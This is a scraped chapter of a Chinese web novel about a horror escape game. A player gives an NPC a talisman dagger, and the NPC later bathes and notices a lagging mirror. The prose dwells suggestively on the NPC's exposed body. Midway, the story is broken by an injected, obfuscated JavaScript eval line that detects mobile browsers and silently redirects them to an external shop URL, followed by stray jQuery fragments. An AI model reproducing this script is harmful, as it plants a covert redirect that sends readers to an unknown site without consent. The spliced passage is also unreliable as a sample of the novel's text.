19.《通灵旅舍》
    楼枣结结巴巴地应道:“是、是吗?”

    “怎么,不相信林嘉源是碟仙,还是单纯就是不想相信我。”沈灼说这句话的语气平淡到实在算不上是反问,尾音降得低低的。

    楼枣紧绷到茫然的脑袋里突兀地、不合时宜地闯进一只小狗。

    双耳耷拉下垂,蓬松的尾巴失落地在地上扫摆,俯趴在地,从喉咙间委屈地滚出几声呜咽。

    一只,不被主人接纳信任的、可怜的小狗。

    不等楼枣回应,一张拍立得相纸甩到楼枣面前,是一行十二个人在旅馆门口的合影,少年少女们面上洋溢着青春的朝气,微笑看着镜头。

    然而诡异的是,林雅的身体上被画了很多代表裂痕的线条,面上的笑被强硬扭曲成了一副悚然的模样。

    不止是她,包括林嘉源在内的所有人身上,都有各种涂鸦,带着不加掩饰的恶意,像是他们的死亡预告一般。

    “拍这张照片是林嘉源的提议,也是在他的房间里找到的。”沈灼向楼枣解释,“虽然林嘉源也被人画了涂鸦,但是他脸上的涂鸦和我们的都不一样。”

    “你看……”他向前走了两步,想把照片上的问题指给楼枣看。

    沈灼的身形比楼枣大上一圈,站在窗前背对着光,脸上神情显得有些晦暗,更像是阳光下的恶鬼,将投向楼枣的光线都挡得严严实实的。

    跪坐在阴影里,楼枣被他看得浑身不自在,心都快跳到嗓子眼了,掌心汗淋淋地揪住被角,只顾着盘算怎么不动声色地往另一侧床沿挪过去,一点儿也听不进沈灼在说什么。

    余光里看见沈灼突然动了,楼枣忍不住耸着肩往后缩了缩。

    凑上来的手猛地顿住。

    沈灼好不容易恢复一点的脸色又变得很难看。

    “你不信我?”齿缝间挤出来的几个字淬了寒冰,又像熔了烈焰。

    要、要信吗?

    一个两个的,明明都是玩家,不去获取队友的信任,倒是都来管自己这个NPC的看法,真是好没道理。

    难道是因为他作为NPC,手上捏着的那一票特别重要吗?

    沈灼平时和队友总是吊儿郎当的,可好像从来没对他有过好脸色,比起一直都好声好气的林嘉源——

    信他才是脑子有毛病吧!

    楼枣简直要被沈灼这一脸要生啃了自己的模样吓死了,要不是床板撑住了颤抖的肩胛,楼枣觉得自己能直接滚到地上去。

    颤巍巍地抖动唇瓣,嗫嚅出两个字:“没有。”

    “行,我也是贱得慌要来管你。”像是被楼枣这副惊惧的模样刺激,沈灼完全不相信他的话,慢慢直起身子,扯着嘴角露出一个讥讽的笑。

    他拳头捏得咯咯响,转身前还不忘对着楼枣放狠话,“你他妈不是被你自己蠢死的就是给林嘉源弄……”

    “艹!”沈灼烦躁地抓了一下头发,颇有些跳脚的意味指着楼枣,“你他妈被林嘉源弄死好了,你被他弄死我都不会再管你!”

    楼枣一脸呆滞地看着沈灼都已经半只脚迈出房门,又转身沉着脸大步向自己走过来,吓得眼神涣散,灵魂发飘,润粉的唇傻愣愣地微张。

    这是和自己说不通,要、要来揍他了吗?

    被子突然重重地陷下去,怀里多了个不明物体,楼枣惶然低头,发现沈灼朝他丢来一把匕首模样的道具,刀鞘上封着黄纸,朱砂画着楼枣看不明白的符印,刀柄上贴心地额外缠了一圈柔软的布条,只是白色的毛绒布条和冷锐沉稳的匕首显得不太相符。

    “系统送的,反正给我也没用,砍个BOSS应该还是很轻松的。”沈灼状似随意地说道。

    刀鞘很轻易就能被拉开,匕首反射冷蓝的光,看着价值不菲的样子。

    楼枣眼瞳睁大,系、系统这么大方的吗?

    “要是碟仙又找上你了,你就用这把匕首,”他语气变得暴戾,恶狠狠的,“把他摸你腰、掐你屁.股的手扎烂。”

    楼枣怔怔盯着沈灼,视线落在他破口大骂的嘴上。

    “他要是还敢对你说下流话,你就直接把这个匕首捅他嘴里……”沈灼的脸慢慢涨红,声音却越来越轻,到最后,他偏过脑袋躲开楼枣的注视,嘴硬道,“我、我才没担心你!”

    “我就是怕你死了我们——”

    “谢谢。”

    沈灼遽然噤声,嘴巴闭紧,连胸口的起伏都停止了。

    能够极限暴力单通逃生游戏SSS级副本的排行榜玩家,竟然因为NPC的一声道谢,激动到忘记了呼吸。

    楼枣弯了弯湿蓝的眼睛,攥着那把对他来说有些压手腕的锋利匕首,虽然你又凶又过分,但是。

    “谢谢。”

    他仰起滢白带泪的小脸,冲沈灼重复了一遍感谢,真诚又单纯。

    沈灼:“……”艹。

    他也不知道最后落荒而逃的自己到底有没有让楼枣吃到教训,沈灼站在浴室里,任由冷水兜头浇下,滚烫的脑袋里冒出乱七八糟的画面。

    最后绷着嘴角洗手的时候,沈灼想,反正他是吃到教训了。

    ……

    一番折腾下来,楼枣仅存的睡意也走得七七八八的了。

    他掀开被子,打算学着电视剧里的那些人,把匕首藏在枕头下面,想了想,又拉开外面套着的小马甲,把匕首插.进衬衣胸口的口袋里。

    总感觉这种防身的东西,还是贴身放安心一点。

    可能系统赠送的道具是完全适配着沈灼来的,对楼枣来说还是太重了。

    匕首坠着布料往下滑,衣领被扯成很深很大的“V”形,露出两条细仃的锁骨和大片白皙肌肤,重量压得楼枣向前倾,他扒着床褥,半个身子都在外面,衣服挂在身前,几乎一眼能从领子看到下摆。

    “当啷——”

    唔,楼枣垂眸望着落在地上的匕首,好像太重了,不太适合放在上衣口袋里,不知道放裤子口袋里行不行。

    把腰带扎紧一点,应该就不会拖着裤子往下掉了吧。

    生病后的一点困倦和小懒惰让楼枣选择保持原本的姿势,没有下床直接去捡,但因为匕首不是垂直着落到地上,而是顺口袋的弧度,以抛物线的形式滑出,所以离床铺还有点距离。

    只能双腿勾夹着被子,一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691356|143845||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    手撑住已经完全落在外面的上半身,另一手用力抻直了,手指才勉强碰到匕首。

    楼枣把双膝跪了起来,屁.股翘着塌下腰身,衣摆滑落到脊心,床头柜上摆放的小镜子里,映照出不堪一折的腰和骶骨上两汪腰窝。

    营养不良没让他皮肤变成蜡黄,反而有一种贫血的苍白,是很娇气的容易留印子的体质,之前被蚊虫叮咬出的痕迹过了一天也没见消退,依然殷殷地遍布肉眼可见的区域,反而边缘晕着散开,显得更加严重。

    西装短裤本身就很短,匕首塞进口袋里,也还是留了半截刀把在外面,需要用上衣稍微再遮一下。

    不过楼枣虽然瘦得小腰只有一把,屁.股倒还算有肉,他扭了扭腰见没有问题,就又在床上试探着蹦了蹦,松泛的裤腰被匕首拉着往下落,但正好能卡在臀上,不至于让楼枣在动作幅度过大的时候出现走光的情况。

    “嘎吱——”

    浴室的玻璃门无风自动,慢慢地在楼枣身后关合上。

    楼枣停住动作扭身去看,却被床垫的余震晃了一个趔趄,扑通一声,双腿岔开跪坐在床上,整个人愣怔地对上浴室不断摇动的门。

    好像有点热……

    毕竟是夏天的正午,楼枣的房间又有一整面落地窗,形成了一个天然的阳光房,山里的温度再凉快,刚刚那么蹦跶了两下,身上也淋了一层细蒙蒙的湿汗。

    意识到异样后楼枣就感觉衬衣被黏糊糊的汗粘在身上有点难以忍受了,他决定现在就去洗个澡。

    第一天是在陆安和的浴室里泡了汤池,昨天晚上玩得太晚,楼枣被吓到根本不敢黑灯瞎火进浴室,算下来,他今天才是第一次认认真真要在里面洗一次澡。

    进门的右手边一整面墙被装成镜子,正对着房间左侧角落的浴缸。

    楼枣看了一圈,发现只有镜子旁边安了一个可以放置干净衣物的小柜子。

    好奇怪、好不方便的设计。

    那不就是,他洗完澡后,还要光着身子横跨整间浴室才能穿上衣服,而且是对着镜子走过去……

    唇珠被反复抿住挤压,楼枣刻意忽略那点让他羞耻到发抖的想象,钻进浴缸里。

    一个澡反而将楼枣混沌困倦的脑袋洗得越来越清醒起来,甚至让他都忽略了洗完澡后那段怪异的路程,直到赤条条站在镜子前擦拭身体才从思考中回过神来。

    不想湿着脚在浴室里穿裤子,楼枣就只带了上衣。

    宽松的T恤一松手就垂感很好地贴着皮肤落下,遮住泛粉的腿根。

    楼枣转头对上在氤氲热气中起了雾的镜子,他用手掌轻轻抹开面前的一小块水雾,想就近整理了一下被洗澡水打湿的额发。

    嗯?

    收回的手顿在空中,楼枣又试探着将覆上去,极其缓慢地左右滑动两下,镜子里的手也对应着滑动。

    果然是错觉吧,镜子怎么可能会有延迟啊。

    像是再度验证一遍,楼枣又在镜子上快速地无规则乱抹一通,镜子里的手在手忙脚乱之中做出了几次错误判断后。

    动作越来越慢,放弃挣扎般,最后停在原地不动了。